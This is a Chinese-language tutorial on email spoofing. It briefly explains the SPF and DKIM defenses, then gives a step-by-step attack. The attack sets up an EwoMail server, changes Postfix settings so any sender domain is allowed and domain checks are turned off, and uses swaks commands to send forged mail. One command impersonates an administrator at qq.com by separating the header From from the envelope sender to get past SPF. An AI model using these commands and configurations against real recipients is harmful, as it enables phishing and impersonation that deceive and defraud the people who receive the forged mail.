一、郵件偽造防御介紹
0x1、SPF介紹
SPF記錄是阻止垃圾郵件發件人發送假冒您的域中的“發件人”地址的電子郵件。收件人可以參考 SPF 記錄來確定號稱來自您的域的郵件是否來自授權郵件服務器。對於大多主流的郵件服務商,鑒別發送者的SPF記錄有助於抵御垃圾郵件給接收者帶來的騷擾。
SMTP協議本身沒有辦法鑒別寄件人的真正身份,在沒有SPF得情況下,是可以偽造任何用戶,SPF 記錄允許域名管理員公布所授權的郵件服務器IP地址,接收服務器會在收到郵件時驗證發件人在 SMTP 會話中執行 MAIL FROM 命令時的郵件地址是否與域名 SPF 記錄中所指定的源 IP 匹配。
以判斷是否為發件人域名偽造,郵件接收方的收件服務器在接受到郵件后,首先檢查域名的SPF記錄,來確定發件人的IP地址是否被包含在SPF記錄里,如果不在就會發送識別或者進入垃圾郵箱,SPF是TXT記錄,當用戶收到郵件之后,會根據郵件的from值,向DNS請求發件人所用的域名,得到TXT記錄中的域名或者IP跟郵件頭的IP來源作比較,符合進收件箱,不符合過濾或者進垃圾箱。
0x2、DKIM介紹
DKIM 是郵件認證機制,使用公開密鑰加密的基礎提供了數字簽名與身份驗證的功能,以檢測寄件者、主旨、內文、附件等部分有否被偽冒或竄改。一般來說,發送方會在電子郵件的標頭插入DKIM-Signature及電子簽名信息。而接收方則透過DNS查詢得到公開密鑰后進行驗證
二、利用過程
0x1.搭建郵件服務器
首先需要自己搭建郵件服務器采用的是EwoMail搭建參考鏈接:
http://doc.ewomail.com/docs/ewomail/install
0x2郵件偽造發送
swaks --to 收件人 --from 發送人 --body 內容 --server 郵件服務器地址 -p 2525 -au 用戶名 -ap 密碼
發送偽造郵件會出現Sender address rejected: not owned by
這樣的報錯導致未成功發送,原因是postfix設置的問題。需要進行一下修改vim /etc/postfix/main.cf
找到smtpd_sender_login_maps修改為如下:smtpd_sender_login_maps = mysql:/etc/postfix/mysql/mysql-sender-login-maps.cf,pcre:/etc/postfix/login_maps.pcre
找到smtpd_recipient_restrictions刪除reject_unknown_sender_domain這樣就不會對發送domain進行驗證
新增文件/etc/postfix/login_maps.pcre
/^(.*)$/ test1@domain.com(允許用戶test1@domain.com使用任意domain)
執行命令使修改內容生效
postmap /etc/postfix/login_maps.pcre
postfix reload
0x3.SPF校驗及繞過
會驗證smtp.from發送人郵件服務器是否和郵件服務器地址IP相等,如果不同SPF則會驗證失敗。
郵件顯示的是Header當中的From不是smtp.from,因此可以將smtp.from設置為正常的郵件服務器地址,偽造一個Mail.From
swaks --to 123456@qq.com --from 正常地址 --h-From: '管理員<admin@qq.com>' --ehlo qq.com --body hello --server 郵件服務器 -p 25 -au <USER> -ap <PASSS>
不過這樣的方法經過測試,會存在一個問題,會顯示由xxxx代發,而這個則就是我們真實發送的郵箱。